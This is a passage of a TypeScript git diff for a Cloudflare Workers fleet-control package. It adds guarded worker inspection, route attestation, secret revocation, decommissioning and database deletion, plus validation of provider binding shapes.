+      typeof binding.name === 'string' &&
+      typeof binding.queueName === 'string'
+        ? [{ name: binding.name, queueName: binding.queueName }]
+        : [],
+    );
+    const r2BucketBindings = version.bindings
+      .flatMap((binding) =>
+        binding.type === 'r2-bucket' &&
+        typeof binding.name === 'string' &&
+        typeof binding.bucketName === 'string'
+          ? [
+              {
+                name: binding.name,
+                bucketName: binding.bucketName,
+                jurisdiction: 'default' as const,
+              },
+            ]
+          : [],
+      )
+      .sort((left, right) => left.name.localeCompare(right.name));
+    const plainText = this.#plainTextBindings(version);
+    const desiredSpecDigest = plainText.get('FLEET_SPEC_DIGEST');
+    const expectedServiceBindings = spec.egressProxyService
+      ? [{ name: 'EGRESS_PROXY', service: spec.egressProxyService }]
+      : [];
+    const expectedQueueProducerBindings = spec.queueProducer
+      ? [
+          {
+            name: spec.queueProducer.binding,
+            queueName: spec.queueProducer.queueName,
+          },
+        ]
+      : [];
+    if (
+      databaseIds.length !== 1 ||
+      plainText.get('DEPLOYMENT_TENANT') !== spec.tenantTag ||
+      plainText.get('FLEET_ENVIRONMENT') !== spec.environment ||
+      (desiredSpecDigest === deploymentSpecDigest(spec) &&
+        (JSON.stringify(serviceBindings) !==
+          JSON.stringify(expectedServiceBindings) ||
+          JSON.stringify(queueProducerBindings) !==
+            JSON.stringify(expectedQueueProducerBindings) ||
+          canonicalApplicationBindings(spec).vars.some(
+            ({ name, value }) => plainText.get(name) !== value,
+          )))
+    ) {
+      throw new Error(
+        `script '${spec.scriptName}' has a different resource mapping`,
+      );
+    }
+    const databaseId = databaseIds[0];
+    if (!databaseId) throw new Error('D1 binding has no database id');
+    const schemaVersion = Number(plainText.get('FLEET_SCHEMA_VERSION'));
+    if (
+      !Number.isSafeInteger(schemaVersion) ||
+      !desiredSpecDigest ||
+      !isSha256(desiredSpecDigest)
+    ) {
+      throw new Error(
+        `script '${spec.scriptName}' has no valid schema version`,
+      );
+    }
+    const versionBindingIdentities = assertSupportedPlainWorkerBindings(
+      version.bindings,
+      `plain Worker '${spec.scriptName}'`,
+    );
+    const secretNames = await this.#api.listOrdinaryWorkerSecretNames(
+      spec.scriptName,
+    );
+    const versionSecretNames = versionBindingIdentities
+      .filter(({ type }) => type === 'secret_text')
+      .map(({ name }) => name)
+      .sort();
+    if (
+      versionSecretNames.length > 0 &&
+      JSON.stringify(versionSecretNames) !==
+        JSON.stringify([...secretNames].sort())
+    ) {
+      throw new Error(
+        `plain Worker '${spec.scriptName}' version and secret inventories disagree`,
+      );
+    }
+    const providerBindingIdentities = [
+      ...versionBindingIdentities.filter(({ type }) => type !== 'secret_text'),
+      ...secretNames.map((name) => ({ type: 'secret_text', name }) as const),
+    ].sort((left, right) =>
+      `${left.type}\u0000${left.name}`.localeCompare(
+        `${right.type}\u0000${right.name}`,
+      ),
+    );
+    const maintenance = await this.#requestMaintenance(
+      maintenanceUrl(spec, '/admin/maintenance-status'),
+      {
+        method: 'GET',
+        headers: {
+          authorization: `Bearer ${maintenanceAdminSecret}`,
+          ...(candidateDeployed
+            ? {
+                'Cloudflare-Workers-Version-Overrides': `${spec.scriptName}="${artifactVersion}"`,
+              }
+            : {}),
+        },
+      },
+      (health) => {
+        if (candidateDeployed) {
+          const expected = deploymentSpecDigest(spec);
+          return health.deploymentSpecDigest !== expected
+            ? `maintenance response did not attest fleet specification digest '${expected}'`
+            : undefined;
+        }
+        return health.deploymentSpecDigest !== undefined &&
+          health.deploymentSpecDigest !== desiredSpecDigest
+          ? `maintenance response does not match inspected Worker version '${artifactVersion}'`
+          : undefined;
+      },
+    );
+    return {
+      tenantTag: spec.tenantTag,
+      environment: spec.environment,
+      scriptName: spec.scriptName,
+      databaseId,
+      durableObjectBindings,
+      serviceBindings,
+      queueProducerBindings,
+      plainTextBindings: Object.fromEntries(plainText),
+      ...(r2BucketBindings.length > 0 ? { r2BucketBindings } : {}),
+      secretNames,
+      providerBindingIdentities,
+      artifactVersion,
+      desiredSpecDigest,
+      schemaVersion,
+      maintenance,
+    };
+  }
+
+  /**
+   * Attest the version serving traffic, which for an ordinary Worker is the
+   * one the deployment object holds at 100%.
+   *
+   * `inspect()` cannot answer this. Given an expected artifact version it pins
+   * that candidate even while the candidate sits at 0%, because a converge has
+   * to compare a staged upload against the specification before promoting it.
+   * Reusing it here would report an unpromoted candidate as though it were
+   * live, which is the exact failure this method exists to make impossible.
+   *
+   * The read goes through the port, so it is quota-coordinated like every other
+   * provider read.
+   *
+   * `physicalScriptName` is the spec's script rather than a value read back
+   * from the custom domain, because the hostname-to-script binding is already
+   * enforced on the path that can change it: `promoteWorker` fails unless the
+   * custom domain attests this exact script after every promotion, and
+   * `#attestPromotionRoute` refuses a hostname owned by a Worker outside the
+   * promotion guard. Re-reading the domain here would spend a third provider
+   * call against the two-read budget this method documents and learn nothing
+   * those two checks have not already established.
+   */
+  async attestActiveRoute(
+    spec: DeploymentSpec,
+  ): Promise<ActiveRouteAttestation> {
+    const active = await this.#api.inspectActiveWorkerRoute(spec.scriptName);
+    if (!active) {
+      throw new ActiveRouteAttestationError(
+        `Worker '${spec.scriptName}' has no deployment serving traffic`,
+        {},
+      );
+    }
+    if (!active.specDigest || !isSha256(active.specDigest)) {
+      throw new ActiveRouteAttestationError(
+        `routed version '${active.artifactVersion}' of Worker '${spec.scriptName}' carries no fleet specification digest`,
+        {
+          routedScriptName: spec.scriptName,
+          artifactVersion: active.artifactVersion,
+        },
+      );
+    }
+    return {
+      specDigest: active.specDigest,
+      artifactVersion: active.artifactVersion,
+      physicalScriptName: spec.scriptName,
+      source: 'workers-deployments',
+      observedAt: new Date(this.#clock()).toISOString(),
+    };
+  }
+
+  async revokeCredentials(
+    spec: DeploymentSpec,
+    retainedReleases: readonly ExternalReleaseSnapshot[] | undefined,
+    activeRelease: ExternalReleaseSnapshot | undefined,
+    database: DatabaseReference,
+    fence: ExternalMutationFence,
+  ): Promise<void> {
+    const secretNames = [
+      ...new Set(
+        await this.#api.listOrdinaryWorkerSecretNames(spec.scriptName),
+      ),
+    ].sort();
+    if (secretNames.length === 0) {
+      await this.#attestTeardownWorkerOwnership(
+        spec,
+        database.id,
+        retainedReleases,
+        activeRelease,
+      );
+    }
+    // Each secret deletion can publish a version, so re-attest before the next
+    // irreversible mutation instead of treating the inventory as a batch.
+    for (const secretName of secretNames) {
+      if (
+        !(await this.#attestTeardownWorkerOwnership(
+          spec,
+          database.id,
+          retainedReleases,
+          activeRelease,
+        ))
+      ) {
+        throw new Error(
+          `ordinary Worker '${spec.scriptName}' has secrets without an attestable Worker owner`,
+        );
+      }
+      await this.#api.deleteControlSecrets(
+        spec.scriptName,
+        [secretName],
+        fence,
+      );
+    }
+    const remaining = await this.#api.listOrdinaryWorkerSecretNames(
+      spec.scriptName,
+    );
+    if (remaining.length > 0) {
+      throw new Error(
+        `ordinary Worker '${spec.scriptName}' failed exact secret revocation`,
+      );
+    }
+  }
+
+  async forceDecommissionStep(
+    record: FleetRecord,
+    step: ForceDecommissionStep,
+    fence: ExternalMutationFence,
+  ): Promise<void> {
+    if (record.backend !== this.kind) {
+      throw new Error(
+        `plain Worker backend cannot force-decommission '${record.backend}' resources`,
+      );
+    }
+    if (step === 'remove-traffic') {
+      const domains = await this.#api.listCustomDomains();
+      for (const domain of domains.filter(
+        ({ service }) => service === record.scriptName,
+      )) {
+        await this.#api.detachCustomDomain(domain.id, fence);
+      }
+      const initial = await this.#api.inspectOrdinaryWorkerFootprint(
+        record.scriptName,
+      );
+      if (initial.scriptPresent) {
+        await this.#api.disableOrdinaryWorkerPublicAccess(
+          record.scriptName,
+          fence,
+        );
+      }
+      const [footprint, remainingDomains] = await Promise.all([
+        this.#api.inspectOrdinaryWorkerFootprint(record.scriptName),
+        this.#api.listCustomDomains(),
+      ]);
+      assertCompleteWorkerPublicAccess(footprint);
+      if (
+        footprint.customDomains.length > 0 ||
+        footprint.zoneRoutes.length > 0 ||
+        footprint.workersDevEnabled === true ||
+        footprint.previewUrlsEnabled === true ||
+        remainingDomains.some(({ service }) => service === record.scriptName)
+      ) {
+        throw new Error(
+          `ordinary Worker '${record.scriptName}' retains public ingress after force decommission`,
+        );
+      }
+      return;
+    }
+    if (step === 'revoke-credentials') {
+      const secretNames = [
+        ...new Set(
+          await this.#api.listOrdinaryWorkerSecretNames(record.scriptName),
+        ),
+      ].sort();
+      for (const secretName of secretNames) {
+        await this.#api.deleteControlSecrets(
+          record.scriptName,
+          [secretName],
+          fence,
+        );
+      }
+      const remaining = await this.#api.listOrdinaryWorkerSecretNames(
+        record.scriptName,
+      );
+      if (remaining.length > 0) {
+        throw new Error(
+          `ordinary Worker '${record.scriptName}' failed exact secret revocation during force decommission`,
+        );
+      }
+      return;
+    }
+    if (step !== 'delete-database') {
+      throw new Error(`unsupported force-decommission step '${step}'`);
+    }
+    if (!this.#api.supportsExactDatabaseDeletion) {
+      throw new Error(EXACT_DATABASE_DELETION_REQUIRED);
+    }
+    await this.#api.withMutationFence(fence, async () => {
+      const database = await this.#api.getDatabase(record.databaseId);
+      if (!database) return;
+      if (
+        database.id !== record.databaseId ||
+        database.name !== record.databaseName
+      ) {
+        throw new Error(
+          `persisted database '${record.databaseId}' resolved with unexpected identity '${database.id}:${database.name}' during force decommission`,
+        );
+      }
+      await this.#api.deleteDatabaseFenced(database.id, fence);
+      if (await this.#api.getDatabase(record.databaseId)) {
+        throw new Error(
+          `database '${record.databaseId}' remains after force decommission`,
+        );
+      }
+    });
+  }
+
+  async removeTraffic(
+    spec: DeploymentSpec,
+    retainedReleases: readonly ExternalReleaseSnapshot[] | undefined,
+    activeRelease: ExternalReleaseSnapshot | undefined,
+    database: DatabaseReference,
+    fence: ExternalMutationFence,
+  ): Promise<void> {
+    const worker = await this.#attestPersistedWorkerOwnership(
+      spec,
+      database.id,
+      retainedReleases,
+      activeRelease,
+    );
+    const route = await this.#customDomain(spec.routeHostname);
+    if (route && route.service !== spec.scriptName) {
+      throw new Error(
+        `refusing to remove custom domain '${spec.routeHostname}' owned by Worker '${route.service}'`,
+      );
+    }
+    if (!worker && route) {
+      throw new Error(
+        `refusing to remove custom domain '${spec.routeHostname}' without an attestable Worker owner`,
+      );
+    }
+    if (route) {
+      await this.#assertMutationFence(fence);
+      await this.#api.detachCustomDomain(route.id, fence);
+    }
+    if (worker) {
+      await this.#api.disableOrdinaryWorkerPublicAccess(spec.scriptName, fence);
+    }
+  }
+
+  async assertTrafficRemoved(spec: DeploymentSpec): Promise<void> {
+    const footprint = await this.#api.inspectOrdinaryWorkerFootprint(
+      spec.scriptName,
+    );
+    assertCompleteWorkerPublicAccess(footprint);
+    if (
+      footprint.customDomains.length > 0 ||
+      footprint.zoneRoutes.length > 0 ||
+      footprint.workersDevEnabled === true ||
+      footprint.previewUrlsEnabled === true
+    ) {
+      throw new Error(
+        `ordinary Worker '${spec.scriptName}' retains public ingress after traffic removal`,
+      );
+    }
+  }
+
+  async deleteWorker(
+    spec: DeploymentSpec,
+    retainedReleases: readonly ExternalReleaseSnapshot[] | undefined,
+    database: DatabaseReference,
+    activeRelease: ExternalReleaseSnapshot | undefined,
+    fence: ExternalMutationFence,
+  ): Promise<void> {
+    const [initialFootprint, initialNamespaceIds] = await Promise.all([
+      this.#api.inspectOrdinaryWorkerFootprint(spec.scriptName),
+      this.#api.listDurableObjectNamespaces(spec.scriptName),
+    ]);
+    await this.assertTrafficRemoved(spec);
+    if (!initialFootprint.scriptPresent) {
+      if (
+        initialFootprint.customDomains.length > 0 ||
+        initialFootprint.zoneRoutes.length > 0 ||
+        initialNamespaceIds.length > 0
+      ) {
+        throw new Error(
+          `ordinary Worker '${spec.scriptName}' has a script-absent footprint with residual routes, domains, or Durable Object namespaces`,
+        );
+      }
+      const [status, versions] = await Promise.all([
+        this.#deploymentStatus(spec),
+        this.#listVersions(spec),
+      ]);
+      if (status || (versions && versions.length > 0)) {
+        throw new Error(
+          `ordinary Worker '${spec.scriptName}' remains after its footprint reported absence`,
+        );
+      }
+      return;
+    }
+    if (initialFootprint.zoneRoutes.length > 0) {
+      throw new Error(
+        `refusing to delete Worker '${spec.scriptName}' with an inconsistent script or zone-route footprint`,
+      );
+    }
+    const unexpectedDomains = (await this.#api.listCustomDomains()).filter(
+      (domain) =>
+        domain.service === spec.scriptName &&
+        domain.hostname.toLowerCase() !== spec.routeHostname.toLowerCase(),
+    );
+    if (unexpectedDomains.length > 0) {
+      throw new Error(
+        `refusing to delete Worker '${spec.scriptName}' with unexpected custom domains`,
+      );
+    }
+    // Secret mutations can create new version IDs, so this live check
+    // validates the persisted anchor and deployed identity without
+    // repeating artifact-set membership.
+    if (
+      !(await this.#attestTeardownWorkerOwnership(
+        spec,
+        database.id,
+        retainedReleases,
+        activeRelease,
+      ))
+    ) {
+      throw new Error(
+        `ordinary Worker '${spec.scriptName}' disappeared before deletion`,
+      );
+    }
+    this.#assertMutationDuration(fence);
+    const deletionOutcome = await this.#api.deleteWorkerScript(
+      spec.scriptName,
+      fence,
+    );
+    // Policy treats deleted and absent identically because the residual check
+    // follows; satisfies is a widening tripwire for future adapter outcomes.
+    deletionOutcome satisfies 'deleted' | 'absent';
+    const [
+      status,
+      versions,
+      residualRoute,
+      residualWorkerDomains,
+      footprint,
+      residualNamespaceIds,
+    ] = await Promise.all([
+      this.#deploymentStatus(spec),
+      this.#listVersions(spec),
+      this.#customDomain(spec.routeHostname),
+      this.#api
+        .listCustomDomains()
+        .then((domains) =>
+          domains.filter((domain) => domain.service === spec.scriptName),
+        ),
+      this.#api.inspectOrdinaryWorkerFootprint(spec.scriptName),
+      this.#api.listDurableObjectNamespaces(spec.scriptName),
+    ]);
+    if (
+      status ||
+      (versions && versions.length > 0) ||
+      residualRoute ||
+      residualWorkerDomains.length > 0 ||
+      footprint.scriptPresent ||
+      footprint.customDomains.length > 0 ||
+      footprint.zoneRoutes.length > 0 ||
+      residualNamespaceIds.length > 0
+    ) {
+      throw new Error(
+        `Worker '${spec.scriptName}' or its custom domain remains after delete`,
+      );
+    }
+  }
+
+  async exportDatabase(
+    database: DatabaseReference,
+    fence: ExternalMutationFence,
+  ): Promise<DatabaseExport> {
+    this.#assertMutationDuration(fence);
+    const exported = await this.#api.exportDatabase(database, fence);
+    return {
+      databaseId: database.id,
+      location: exported.location,
+      sha256: exported.sha256,
+      size: exported.size,
+    };
+  }
+
+  async deleteDatabase(
+    database: DatabaseReference,
+    fence: ExternalMutationFence,
+  ): Promise<void> {
+    if (!this.#api.supportsExactDatabaseDeletion) {
+      throw new Error(EXACT_DATABASE_DELETION_REQUIRED);
+    }
+    await this.#api.withMutationFence(fence, async () => {
+      await this.#api.deleteDatabaseFenced(database.id, fence);
+      if (await this.#api.getDatabase(database.id)) {
+        throw new Error(`database '${database.id}' remains after deletion`);
+      }
+    });
+  }
+}
diff --git a/packages/fleet-control/src/platform-resources.ts b/packages/fleet-control/src/platform-resources.ts
index e81624bf..33809811 100644
--- a/packages/fleet-control/src/platform-resources.ts
+++ b/packages/fleet-control/src/platform-resources.ts
@@ -17,9 +17,11 @@ import type {
   ExternalReleaseSnapshot,
   ExternalReleaseTopology,
   FleetRecord,
+  MaintenanceSigningProfile,
   ProvisioningBackend,
   TrustedWorkerArtifact,
 } from './types.js';
+import { effectiveLifecyclePhase } from './types.js';
 
 export const FLEET_AUDIT_PROXY_BINDING = 'AUDIT_PROXY';
 export const FLEET_AUDIT_PROXY_STATE_BINDING = 'FLEET_AUDIT_PROXY_OBJECT';
@@ -52,10 +54,11 @@ function currentRouteExpectations(
   record: FleetRecord,
   releases: readonly (ExternalReleaseSnapshot | undefined)[],
 ): readonly ExternalRouteExpectation[] {
+  const phase = effectiveLifecyclePhase(record);
   const target = record.platformTarget;
   if (!target) {
     throw new Error(
-      `external ${record.phase} route authority has no persisted platform target`,
+      `external ${phase} route authority has no persisted platform target`,
     );
   }
   const expectations = dedupeExternalRouteExpectations(
@@ -63,7 +66,7 @@ function currentRouteExpectations(
   );
   if (expectations.length === 0) {
     throw new Error(
-      `external ${record.phase} route authority has no persisted release`,
+      `external ${phase} route authority has no persisted release`,
     );
   }
   return expectations;
@@ -73,8 +76,9 @@ export function externalRouteExpectations(
   record: FleetRecord,
 ): readonly ExternalRouteExpectation[] {
   if (record.backend !== 'workers-for-platforms') return [];
+  const phase = effectiveLifecyclePhase(record);
   if (
-    record.phase === 'traffic-removed' ||
+    phase === 'traffic-removed' ||
     (record.backendSwitchIntent?.subphase.startsWith('decommission-') ===
       true &&
       record.backendSwitchIntent.subphase !== 'decommission-traffic-authorized')
@@ -92,9 +96,7 @@ export function externalRouteExpectations(
   }
   if (
     record.migrationIntent &&
-    ['migrating', 'decommissioning', 'credentials-revoked'].includes(
-      record.phase,
-    )
+    ['migrating', 'decommissioning', 'credentials-revoked'].includes(phase)
   ) {
     const intent = record.migrationIntent;
     if (
@@ -122,22 +124,19 @@ export function externalRouteExpectations(
     }
     return [prior];
   }
-  if (record.phase === 'rolling-back') {
+  if (phase === 'rolling-back') {
     return currentRouteExpectations(record, [
       record.activeRelease,
       record.pendingRelease,
     ]);
   }
-  if (record.phase === 'publishing') {
+  if (phase === 'publishing') {
     return currentRouteExpectations(record, [record.pendingRelease]);
   }
-  if (record.phase === 'ready') {
+  if (phase === 'ready') {
     return currentRouteExpectations(record, [record.activeRelease]);
   }
-  if (
-    record.phase === 'decommissioning' ||
-    record.phase === 'credentials-revoked'
-  ) {
+  if (phase === 'decommissioning' || phase === 'credentials-revoked') {
     return currentRouteExpectations(record, [
       record.activeRelease,
       record.pendingRelease,
@@ -598,21 +597,9 @@ function validateArtifact(
   }
 }
 
-export function validateExternalPlatformProfile(
-  spec: DeploymentSpec,
-  profile: ExternalPlatformProfile,
+export function validateMaintenanceSigningProfile(
+  profile: MaintenanceSigningProfile,
 ): void {
-  if (spec.authoredBy !== 'external') {
-    throw new Error('external platform resources require an external release');
-  }
-  if (profile.runtimeContractVersion !== 1) {
-    throw new Error('unsupported trusted platform runtime contract');
-  }
-  if (profile.backwardCompatibleWithRetainedReleases !== true) {
-    throw new Error(
-      'trusted platform profile must attest compatibility with retained releases',
-    );
-  }
   if (
     typeof profile.maintenanceCapabilityPublicKey !== 'string' ||
     canonicalMaintenanceCapabilityPublicKey(
@@ -623,7 +610,7 @@ export function validateExternalPlatformProfile(
   }
   const privateKey = profile.maintenanceCapabilityPrivateKey;
   if (
-    privateKey.kty !== 'OKP' ||
+    privateKey?.kty !== 'OKP' ||
     privateKey.crv !== 'Ed25519' ||
     privateKey.alg !== 'EdDSA' ||
     typeof privateKey.kid !== 'string' ||
@@ -650,6 +637,24 @@ export function validateExternalPlatformProfile(
       'maintenance capability private signer does not match its public verifier',
     );
   }
+}
+
+export function validateExternalPlatformProfile(
+  spec: DeploymentSpec,
+  profile: ExternalPlatformProfile,
+): void {
+  if (spec.authoredBy !== 'external') {
+    throw new Error('external platform resources require an external release');
+  }
+  if (profile.runtimeContractVersion !== 1) {
+    throw new Error('unsupported trusted platform runtime contract');
+  }
+  if (profile.backwardCompatibleWithRetainedReleases !== true) {
+    throw new Error(
+      'trusted platform profile must attest compatibility with retained releases',
+    );
+  }
+  validateMaintenanceSigningProfile(profile);
   validateArtifact(profile.stateWorker, 'state Worker artifact');
   if (profile.legacyBridgeWorker) {
     validateArtifact(profile.legacyBridgeWorker, 'legacy bridge artifact');
diff --git a/packages/fleet-control/src/provider-binding-inventory.ts b/packages/fleet-control/src/provider-binding-inventory.ts
index e5e630a2..cb857e7f 100644
--- a/packages/fleet-control/src/provider-binding-inventory.ts
+++ b/packages/fleet-control/src/provider-binding-inventory.ts
@@ -1,6 +1,362 @@
 // SPDX-License-Identifier: Apache-2.0
 
-import type { ProviderBindingIdentity } from './types.js';
+import type { VersionCreateParams } from 'cloudflare/resources/workers/scripts/versions';
+import type {
+  OrdinaryWorkerDeploymentVersion,
+  PlainWorkerUploadIntent,
+  PlainWorkerVersionBinding,
+  ProviderBindingIdentity,
+} from './types.js';
+
+export function assertCompleteWorkerPublicAccess(
+  footprint: Readonly<{
+    scriptPresent: boolean;
+    workersDevEnabled?: boolean;
+    previewUrlsEnabled?: boolean;
+  }>,
+): void {
+  if (
+    typeof footprint.scriptPresent !== 'boolean' ||
+    [footprint.workersDevEnabled, footprint.previewUrlsEnabled].some((value) =>
+      value === undefined
+        ? footprint.scriptPresent
+        : typeof value !== 'boolean',
+    )
+  )
+    throw new Error('ordinary Worker public-access footprint is incomplete');
+}
+
+export function providerBindingsToPlainWorkerShape(
+  bindings: readonly unknown[],
+): readonly PlainWorkerVersionBinding[] {
+  return bindings.map((binding) => {
+    if (!binding || typeof binding !== 'object' || Array.isArray(binding)) {
+      return { type: 'unsupported', name: undefined, issue: 'not-object' };
+    }
+    const name = ownDataStringField(binding, 'name');
+    const rawType = ownDataField(binding, 'type');
+    if (
+      typeof rawType !== 'string' ||
+      rawType.length === 0 ||
+      rawType !== rawType.trim()
+    ) {
+      return {
+        type: 'unsupported',
+        name,
+        providerType: typeof rawType === 'string' ? rawType : undefined,
+        issue: 'invalid-type',
+      };
+    }
+    switch (rawType) {
+      case 'd1': {
+        if (
+          !hasExactSupportedBindingKeys(binding, {
+            required: ['type', 'name'],
+            optional: ['database_id', 'id'],
+            requireOneOf: ['database_id', 'id'],
+          })
+        ) {
+          return malformedSupportedBinding(name, rawType);
+        }
+        const databaseId = validNonemptyString(
+          ownDataField(binding, 'database_id'),
+        );
+        const legacyIdValue = ownDataField(binding, 'id');
+        const legacyId = validNonemptyString(legacyIdValue);
+        const hasDatabaseId = Object.hasOwn(binding, 'database_id');
+        const hasLegacyId = Object.hasOwn(binding, 'id');
+        if (
+          (hasDatabaseId && databaseId === undefined) ||
+          (hasLegacyId &&
+            legacyId === undefined &&
+            !(hasDatabaseId && legacyIdValue === '')) ||
+          (databaseId !== undefined &&
+            legacyId !== undefined &&
+            databaseId !== legacyId)
+        ) {
+          return malformedSupportedBinding(name, rawType);
+        }
+        return {
+          type: 'd1',
+          name,
+          databaseId: databaseId ?? legacyId,
+        };
+      }
+      case 'durable_object_namespace': {
+        if (
+          !hasExactSupportedBindingKeys(binding, {
+            required: ['type', 'name', 'class_name', 'namespace_id'],
+            optional: ['script_name', 'dispatch_namespace', 'environment'],
+          }) ||
+          Object.hasOwn(binding, 'environment')
+        ) {
+          return malformedSupportedBinding(name, rawType);
+        }
+        const className = validNonemptyString(
+          ownDataField(binding, 'class_name'),
+        );
+        const namespaceId = validNonemptyString(
+          ownDataField(binding, 'namespace_id'),
+        );
+        const scriptName = optionalNonemptyString(binding, 'script_name');
+        const dispatchNamespace = optionalNonemptyString(
+          binding,
+          'dispatch_namespace',
+        );
+        if (
+          className === undefined ||
+          namespaceId === undefined ||
+          scriptName === INVALID_OPTIONAL_STRING ||
+          dispatchNamespace === INVALID_OPTIONAL_STRING
+        ) {
+          return malformedSupportedBinding(name, rawType);
+        }
+        return {
+          type: 'durable-object',
+          name,
+          className,
+          namespaceId,
+          ...(scriptName === undefined ? {} : { scriptName }),
+          ...(dispatchNamespace === undefined ? {} : { dispatchNamespace }),
+        };
+      }
+      case 'service': {
+        if (
+          !hasExactSupportedBindingKeys(binding, {
+            required: ['type', 'name', 'service'],
+            optional: ['entrypoint', 'environment'],
+          }) ||
+          Object.hasOwn(binding, 'environment')
+        ) {
+          return malformedSupportedBinding(name, rawType);
+        }
+        const service = validNonemptyString(ownDataField(binding, 'service'));
+        const entrypoint = optionalNonemptyString(binding, 'entrypoint');
+        if (service === undefined || entrypoint === INVALID_OPTIONAL_STRING) {
+          return malformedSupportedBinding(name, rawType);
+        }
+        return {
+          type: 'service',
+          name,
+          service,
+          ...(entrypoint === undefined ? {} : { entrypoint }),
+        };
+      }
+      case 'queue': {
+        if (
+          !hasExactSupportedBindingKeys(binding, {
+            required: ['type', 'name', 'queue_name'],
+          })
+        ) {
+          return malformedSupportedBinding(name, rawType);
+        }
+        const queueName = validNonemptyString(
+          ownDataField(binding, 'queue_name'),
+        );
+        if (queueName === undefined) {
+          return malformedSupportedBinding(name, rawType);
+        }
+        return {
+          type: 'queue-producer',
+          name,
+          queueName,
+        };
+      }
+      case 'r2_bucket': {
+        if (
+          !hasExactSupportedBindingKeys(binding, {
+            required: ['type', 'name', 'bucket_name'],
+            optional: ['jurisdiction'],
+          })
+        ) {
+          return malformedSupportedBinding(name, rawType);
+        }
+        const bucketName = validNonemptyString(
+          ownDataField(binding, 'bucket_name'),
+        );
+        const jurisdictionValue = ownDataField(binding, 'jurisdiction');
+        const jurisdiction =
+          jurisdictionValue === 'eu' || jurisdictionValue === 'fedramp'
+            ? jurisdictionValue
+            : undefined;
+        if (
+          bucketName === undefined ||
+          (Object.hasOwn(binding, 'jurisdiction') && jurisdiction === undefined)
+        ) {
+          return malformedSupportedBinding(name, rawType);
+        }
+        return {
+          type: 'r2-bucket',
+          name,
+          bucketName,
+          ...(jurisdiction === undefined ? {} : { jurisdiction }),
+        };
+      }
+      case 'plain_text': {
+        if (
+          !hasExactSupportedBindingKeys(binding, {
+            required: ['type', 'name', 'text'],
+          }) ||
+          typeof ownDataField(binding, 'text') !== 'string'
+        ) {
+          return malformedSupportedBinding(name, rawType);
+        }
+        return {
+          type: 'plain-text',
+          name,
+          value: ownDataStringField(binding, 'text'),
+        };
+      }
+      case 'secret_text':
+        if (
+          !hasExactSupportedBindingKeys(binding, {
+            required: ['type', 'name'],
+          })
+        ) {
+          return malformedSupportedBinding(name, rawType);
+        }
+        return { type: 'secret-text', name };
+      default:
+        return {
+          type: 'unsupported',
+          name,
+          providerType: rawType,
+          issue: 'unsupported-type',
+        };
+    }
+  });
+}
+
+type SupportedProviderBindingType =
+  | 'd1'
+  | 'durable_object_namespace'
+  | 'service'
+  | 'queue'
+  | 'r2_bucket'
+  | 'plain_text'
+  | 'secret_text';
+
+function malformedSupportedBinding(
+  name: string | undefined,
+  providerType: SupportedProviderBindingType,
+): PlainWorkerVersionBinding {
+  return {
+    type: 'unsupported',
+    name,
+    providerType,
+    issue: 'malformed-supported-binding',
+  };
+}
+
+function ownDataField(binding: object, field: string): unknown {
+  const descriptor = Object.getOwnPropertyDescriptor(binding, field);
+  return descriptor && 'value' in descriptor ? descriptor.value : undefined;
+}
+
+function ownDataStringField(
+  binding: object,
+  field: string,
+): string | undefined {
+  const value = ownDataField(binding, field);
+  return typeof value === 'string' ? value : undefined;
+}
+
+function hasExactSupportedBindingKeys(
+  binding: object,
+  options: Readonly<{
+    required: readonly string[];
+    optional?: readonly string[];
+    requireOneOf?: readonly string[];
+  }>,
+): boolean {
+  const keys = Reflect.ownKeys(binding);
+  if (keys.some((key) => typeof key !== 'string')) return false;
+  const allowed = new Set([...options.required, ...(options.optional ?? [])]);
+  const stringKeys = keys as string[];
+  return (
+    stringKeys.every((key) => allowed.has(key)) &&
+    options.required.every((key) => stringKeys.includes(key)) &&
+    (options.requireOneOf === undefined ||
+      options.requireOneOf.some((key) => stringKeys.includes(key)))
+  );
+}
+
+function validNonemptyString(value: unknown): string | undefined {
+  return typeof value === 'string' && value.length > 0 && value === value.trim()
+    ? value
+    : undefined;
+}
+
+const INVALID_OPTIONAL_STRING = Symbol('invalid optional string');
+
+function optionalNonemptyString(
+  binding: object,
+  field: string,
+): string | undefined | typeof INVALID_OPTIONAL_STRING {
+  if (!Object.hasOwn(binding, field)) return undefined;
+  return (
+    validNonemptyString(ownDataField(binding, field)) ?? INVALID_OPTIONAL_STRING
+  );
+}
+
+export function assertOrdinaryWorkerDeploymentVersions(
+  versions: readonly OrdinaryWorkerDeploymentVersion[],
+): void {
+  if (versions.length === 0) {
+    throw new Error('ordinary Worker deployment requires at least one version');
+  }
+  const ids = new Set<string>();
+  for (const version of versions) {
+    if (typeof version.versionId !== 'string') {
+      throw new Error('ordinary Worker deployment version ids must be strings');
+    }
+    if (
+      !Number.isFinite(version.percentage) ||
+      version.percentage < 0 ||
+      version.percentage > 100
+    ) {
+      throw new Error(
+        'ordinary Worker deployment percentages must be finite values from 0 to 100',
+      );
+    }
+    if (ids.has(version.versionId)) {
+      throw new Error('ordinary Worker deployment has duplicate version ids');
+    }
+    ids.add(version.versionId);
+  }
+}
+
+export function uploadIntentToProviderBindings(
+  intent: PlainWorkerUploadIntent,
+): NonNullable<VersionCreateParams.Metadata['bindings']> {
+  const bindings: NonNullable<VersionCreateParams.Metadata['bindings']> = [];
+  for (const { name, value } of intent.bindings.plainText) {
+    bindings.push({ name, type: 'plain_text', text: value });
+  }
+  for (const { name, value } of intent.bindings.secrets) {
+    bindings.push({ name, type: 'secret_text', text: value });
+  }
+  for (const { name, databaseId } of intent.bindings.d1) {
+    bindings.push({ name, type: 'd1', database_id: databaseId });
+  }
+  for (const { name, className } of intent.bindings.durableObjects) {
+    bindings.push({
+      name,
+      type: 'durable_object_namespace',
+      class_name: className,
+    });
+  }
+  for (const { name, service } of intent.bindings.services) {
+    bindings.push({ name, type: 'service', service });
+  }
+  for (const { name, queueName } of intent.bindings.queueProducers) {
+    bindings.push({ name, type: 'queue', queue_name: queueName });
+  }
+  for (const { name, bucketName } of intent.bindings.r2Buckets) {
+    bindings.push({ name, type: 'r2_bucket', bucket_name: bucketName });
+  }
+  return bindings;
+}
 
 function bindingKey(binding: ProviderBindingIdentity): string {
   return `${binding.type}\u0000${binding.name}`;
@@ -124,6 +480,107 @@ export function assertSupportedProviderBindings(
   return assertEveryProviderBindingConsumed(rawBindings, consumed, context);
 }
 
+export function plainWorkerBindingsToProviderShape(
+  bindings: readonly PlainWorkerVersionBinding[],
+): readonly unknown[] {
+  return bindings.map((binding) => {
+    switch (binding.type) {
+      case 'd1':
+        return {
+          type: 'd1',
+          name: binding.name,
+          id: binding.databaseId,
+        };
+      case 'durable-object':
+        return {
